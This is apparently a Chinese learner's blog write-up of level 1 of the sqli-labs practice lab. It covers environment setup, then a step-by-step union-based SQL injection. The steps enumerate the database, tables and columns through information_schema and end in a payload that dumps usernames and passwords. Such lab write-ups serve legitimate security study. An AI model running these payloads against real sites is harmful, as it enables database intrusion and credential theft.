还是想先从sql好好学,之前pikachu感觉emmmmmmmmmmm
首先网上我们需要打开phpstudy的apache和mysql,注意如果有占用端口不能正常启动那就kill掉占用端口的进程或者改端口。然后是因为这个sqli-labs是印度的一个老哥很多年前写的了所以新的php版本(php7以及以上)有些语句不适用,要么进入文件修改要么就是phpstudy把php版本降低就可以正常使用了。
第一关:
根据提示在url里面我输入 ?id=1 进行查询得到结果,能在url看到查询情况说明处理表单的模式为GET。我注意到当我在语句后加上如‘会被转义成%27,其他的字符也被转义了,但是没有报错,查阅资料是说因为php版本配置文件中的魔术引号被打开,找到magic_quotes_gpc=On改为Off,然后重启apache就好了。我发现每次配置些都会遇到些问题hhh
【在学习《代码审计》的时候提到为什么知道软件,或者中间件的版本号泄露是多么危险的事情,因为根据特性不但可以利用已知的漏洞,还会根据特性构造不同的paylaod】
那么接着继续做,重新输入?id=1’后报错了。那么既然有报错的回显,还能查询id对应的用户名以及密码,首先就想通过构造payload显示更高权限的用户名和口令,那么就得知道查询的语句,当然少不了知道数据库名,表名,列名,字段名等.
所以为了减少手动输入的麻烦,用bp的repeater来帮我发送。
在url里输入
?id=1′ order by 1 –+ 正常
?id=1′ order by 2 –+ 正常
?id=1′ order by 3 –+ 正常
?id=1′ order by 4 –+ 不正常 Unknown column ‘4’ in ‘order clause’
这里用order by 排序,目的是看看列数,因此这关是有3列,也就是说我们可以在构造payload的时候把结果显示在前三列中。
那么我们先看看数据库的名字,用database()是可以的,因此payload为 ?id=-1′ union select 1,2,database() –+使用联合查询把数据库名显示在第三列那。爆出库名为security
那么接下来是爆表名:
?id=-1′ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+
【根据之前的知识,mysql5.0以及以后的版本里,表名这些东西被保存在information_schema里,“.”表示上一级;那么这条payload的意思是在xx.tables 里找securi库的表名,group_concat(table_name):[concat(str1,str2):表示把多个字符串变成一个字符串/group_concat(str1,str2):
将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是所谓的把多行转化为一行(也就是所谓的列转行,Oracle中对应wm_concat) ]】
刚才的payload爆出来有个表叫users,可以判断为目标表,下一步就是构造爆字段的payload,同样的也可以在informa_schema里找到,payload如下:
?id=-1′ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+
可以看到结果是
id,username,password,level,id,username,password
知道了字段名,之后就是爆值。
构造payload:?id=-1′ union select 1,2,group_concat(username,0x3a,password) from users –+
【可以看到得到了admin账户的密码。
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username 。也可以用别的符号进行分割,第一关算是完成了。】 第一关学习到了sql的联合查询语句,以及回忆起保存数据的information_schema的使用,总的来说遇到有回显错误的可能注入点,通过从列数,库名,表名,字段名,值一步一步构造payload来得到答案。本次操作有很多参考了csdn上的文章